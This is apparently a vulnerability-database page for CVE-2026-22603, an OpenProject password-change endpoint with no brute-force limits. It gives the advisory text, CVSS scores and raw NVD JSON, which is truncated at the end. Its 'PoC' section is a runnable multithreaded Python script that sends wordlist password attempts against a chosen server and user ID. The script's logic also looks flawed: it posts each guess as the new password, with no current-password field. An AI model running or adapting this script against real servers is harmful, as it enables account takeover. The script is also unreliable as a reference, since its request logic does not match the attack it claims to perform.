Security Vulnerability Report
中文
CVE-2026-22603 CVSS 6.5 MEDIUM

CVE-2026-22603

Published: 2026-01-10 02:15:49
Last Modified: 2026-01-14 22:27:03

Description

OpenProject is an open-source, web-based project management software. Prior to version 16.6.2, OpenProject’s unauthenticated password-change endpoint (/account/change_password) was not protected by the same brute-force safeguards that apply to the normal login form. In affected versions, an attacker who can guess or enumerate user IDs can send unlimited password-change requests for a given account without triggering lockout or other rate-limiting controls. This allows automated password-guessing (e.g., with wordlists of common passwords) against valid accounts. Successful guessing results in full account compromise for the targeted user and, depending on that user’s role, can lead to further privilege escalation inside the application. This issue has been patched in version 16.6.2. Those who are unable to upgrade may apply the patch manually.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:openproject:openproject:*:*:*:*:*:*:*:* - VULNERABLE
OpenProject < 16.6.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-22603 PoC - OpenProject Password Change Brute Force Note: This PoC is for educational and authorized testing purposes only. """ import requests import sys from concurrent.futures import ThreadPoolExecutor, as_completed TARGET_URL = "https://target-openproject.com" TARGET_USER_ID = 1 # Target user ID to attack PASSWORD_FILE = "passwords.txt" # Common passwords wordlist def try_password(password): """Attempt to change password with given password""" endpoint = f"{TARGET_URL}/account/change_password" # Craft the password change request data = { 'password': password, 'password_confirmation': password, 'user_id': TARGET_USER_ID } try: response = requests.post(endpoint, data=data, timeout=10) # Check if password change was successful if response.status_code == 200: if 'success' in response.text.lower() or 'changed' in response.text.lower(): return True, password except requests.RequestException: pass return False, password def main(): print(f"[*] CVE-2026-22603 PoC - OpenProject Brute Force Attack") print(f"[*] Target: {TARGET_URL}") print(f"[*] Target User ID: {TARGET_USER_ID}") print(f"[*] Starting brute force attack...") try: with open(PASSWORD_FILE, 'r') as f: passwords = [line.strip() for line in f] except FileNotFoundError: print(f"[!] Password file not found: {PASSWORD_FILE}") sys.exit(1) print(f"[*] Loaded {len(passwords)} passwords from wordlist") with ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(try_password, pwd): pwd for pwd in passwords} for future in as_completed(futures): success, password = future.result() if success: print(f"\n[!] SUCCESS! Password found: {password}") print(f"[!] Account compromised! Change your security immediately.") executor.shutdown(wait=False) return else: print(f"[-] Failed: {password}") print("\n[*] Attack completed. Password not found in wordlist.") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-22603", "sourceIdentifier": "[email protected]", "published": "2026-01-10T02:15:49.200", "lastModified": "2026-01-14T22:27:03.023", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenProject is an open-source, web-based project management software. Prior to version 16.6.2, OpenProject’s unauthenticated password-change endpoint (/account/change_password) was not protected by the same brute-force safeguards that apply to the normal login form. In affected versions, an attacker who can guess or enumerate user IDs can send unlimited password-change requests for a given account without triggering lockout or other rate-limiting controls. This allows automated password-guessing (e.g., with wordlists of common passwords) against valid accounts. Successful guessing results in full account compromise for the targeted user and, depending on that user’s role, can lead to further privilege escalation inside the application. This issue has been patched in version 16.6.2. Those who are unable to upgrade may apply the patch manually."}, {"lang": "es", "value": "OpenProject es un software de gestión de proyectos de código abierto y basado en la web. Antes de la versión 16.6.2, el endpoint de cambio de contraseña no autenticado de OpenProject (/account/change_password) no estaba protegido por las mismas salvaguardas contra fuerza bruta que se aplican al formulario de inicio de sesión normal. En las versiones afectadas, un atacante que puede adivinar o enumerar IDs de usuario puede enviar solicitudes ilimitadas de cambio de contraseña para una cuenta determinada sin activar el bloqueo de cuenta u otros controles de limitación de velocidad. Esto permite la adivinación automatizada de contraseñas (por ejemplo, con listas de palabras de contraseñas comunes) contra cuentas válidas. La adivinación exitosa resulta en el compromiso total de la cuenta para el usuario objetivo y, dependiendo del rol de ese usuario, puede conducir a una mayor escalada de privilegios dentro de la aplicación. Este problema ha sido parcheado en la versión 16.6.2. Aquellos que no puedan actualizar pueden aplicar el parche manualmente."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-307"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openproject:openproject:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.6.2", "matchCriteriaId": "BF8C07E6-1B04-4E9E-A12C-8CB0A17A95D5"}]}]}], "references": [{"url": "https://github.com/opf/openproject/commit/2b394b9ba5af1e5d96a64d7d452d4d44598a4c7f", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/opf/openproject/pull/21272", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://github.com/opf/openproject/releases/tag/ ... (truncated)